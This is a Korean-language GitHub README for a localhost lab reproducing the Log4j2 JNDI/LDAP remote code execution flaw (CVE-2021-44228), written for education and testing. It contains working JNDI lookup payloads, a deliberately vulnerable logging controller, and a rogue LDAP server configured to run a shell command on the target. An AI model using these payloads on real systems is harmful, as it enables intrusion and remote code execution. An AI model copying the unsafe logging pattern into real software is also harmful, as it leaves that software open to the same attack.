Skip to content

Log4j2 LDAP 취약점 테스트 (CVE-2021-44228)

Notifications You must be signed in to change notification settings

mklinkj/log4j2-test

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

36 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

Log4j2 2.14.1 LDAP 원격 코드 실행 취약점(CVE-2021-44228) 확인

🎈 Spring Boot 2.x 환경에서 테스트

  • pom.xml : Log4j2 버전을 취약버전으로 낮춤

    <properties>
      <java.version>17</java.version>
      <!-- 현재 설정된 Spring Boot 버전은 취약점이 존재하는 log4j 2.14.1 보다 높은 버전을 가지기 때문에, 일부러 버전을 낮춘다.-->
      <log4j2.version>2.14.1</log4j2.version>
    </properties>
  • LoggingController : 사용자의 입력을 그대로 받아 로깅하는 컨트롤러 메서드 추가

      @PostMapping("/form")
      public String form(String ldapString, RedirectAttributes rttr) {
        try {
          LOGGER.info("{}", ldapString);
          rttr.addFlashAttribute("exception", "예외 발생 X");
        } catch (Exception e) {
          rttr.addFlashAttribute("exception", "예외발생 O: " + e.getMessage());
        }
        return "redirect:/";
      }
  • 브라우저 실행

    target-server-view.png

동작 확인 내용

  1. 실제로 ${jndi:ldap://127.0.0.1:19090/run} 문자열을 서버로 전송했을 때, 서버가 127.0.0.1:19090 로 접속을 시도한다.

    2022-01-03 13:16:52.526  INFO 14736 --- [nio-8080-exec-7] o.m.t.c.LoggingController                : ${jndi:ldap://127.0.0.1:19090/run}
    2022-01-03 13:17:09,993 http-nio-8080-exec-10 WARN Error looking up JNDI resource [ldap://127.0.0.1:19090/run]. javax.naming.CommunicationException: 127.0.0.1:19090 [Root exception is java.net.ConnectException: Connection refused: connect]
    ...
    

    로컬의 19090 포트에 LDAP 서버가 켜져 있는 것은 아니여서 Connection refused: connect 예외로 에러 로그가 남음.

  2. LOGGER.info("{}", ldapString); 코드에서 JNDI 에러 예외가 던져지지 않았다.

    • 로그를 자세하게 확인하지 않고 지나가면 잊고 지나가기 쉬운 문제인 것 같다.

https://github.com/veracode-research/rogue-jndi 이 코드에서 Tomcat 관련된 부분만 조사해서, 단순한 Spring Boot 프로젝트로 구성했다.

Tomcat관련 부분만 조사한 이유는...

일단 대상 테스트 서버가 Spring Boot의 내장 톰켓 기반이여서, Tomcat만 조사하여도 취약점 동작을 확인할 수 있을 것으로 보여 그렇게 진행했다.

명령문 준비

단순 계산기만 수행하기에는 너무 단순해서 cmd 명령어를 조합해보았다.

  • ldapserver-config.properties

    # 타겟 서버의 윈도우 OS 버전을 텍스트 파일에 기록한 다음 메모장으로 여는 내용
    ldaptest.remote.command=cmd /c ver > test.txt && notepad test.txt
    ...

실제로 해보니 정말로 테스트 타겟서버의 실행파일 원격 실행이 가능했다. 확인 방법은 아래와 같다.

  1. ldap-server 서버, traget-server 실행

    # LDAP 서버 실행
    C:\git-mklinkj\log4j2-test\ldap-server>mvnw clean spring-boot:run
    
    # 테스트 타겟 서버 실행
    C:\git-mklinkj\log4j2-test\target-server>mvnw clean spring-boot:run
  2. 테스트 타겟 서버에서 ${jndi:ldap://127.0.0.1:19090/o=tomcat} 문자열 전송 후 확인

    remote-code-executed

    target-server 프로젝트 루트에 test.txt파일이 만들어지고, 메모장을 통해 실행이 되었음.

Java 15이상 환경에서 동작확인시...

타겟 Tomcat에 보낼 Payload 생성에 Java의 JavaScript 구현 Nashorn을 사용하는데, Java 15부터 Nashorn이 완전히 제거되었다. 그래서 ldap 서버가 타겟 Tomcat으로 명령어는 보냈지만 명령어가 실행되지 않는 문제가 있었다.

이때는.. nashorn-core 또는 rhino-engine 둘 중 하나만 타겟 Tomcat 서버에 라이브러리로 추가해주면 되었다.

<dependency>
  <groupId>org.openjdk.nashorn</groupId>
  <artifactId>nashorn-core</artifactId>
  <version>${nashorn.version}</version>
</dependency>
<dependency>
  <groupId>org.mozilla</groupId>
  <artifactId>rhino-engine</artifactId>
  <version>${rhino-engine.version}</version>
</dependency>

Maven POM 부모-자식 관계에서 프로젝트 실행

버전 관리를 편하게 하려고 부모-자식 관계로 pom.xml을 수정했는데, 다음과 같이 부모 pom 이 있는 디렉토리에서 실행할 수 있다.

# 전체 테스트
$ mvnw clean test

# 백그라운드로 실행하지 않으므로 별도의 콘솔창에서 각각 실행햐아한다.
$ mvnw clean spring-boot:run -pl ldap-server
$ mvnw clean spring-boot:run -pl target-server

# 하위 프로젝트 디렉토리에 직접 들어가서 실행해도 된다.
$ cd target-server
$ mvnw clean spring-boot:run

후기

  • 실제로 진행보니 이 취약점을 방치하면 정말 위험한 것 같다. 개발, 스테이징 환경에서 테스트를 해서 LDAP 접속을 발생시키는 부분이 없는지 확인 되어야할 것 같다.
  • rogue-jndi 레파지토리 작성하신 Michael Stepankin 님 덕분에 확인을 할 수 있게되어 감사합니다. 😄

면책 조항

이 소프트웨어는 교육 목적 및/또는 사용자가 사전에 공격을 허용한 시스템 테스트용으로만 제공됩니다.
(rogue-jndi에도 이 문구를 추가 하셨길레 따라서 넣었다. 😓)

About

Log4j2 LDAP 취약점 테스트 (CVE-2021-44228)

Topics

Resources

Stars

Watchers

Forks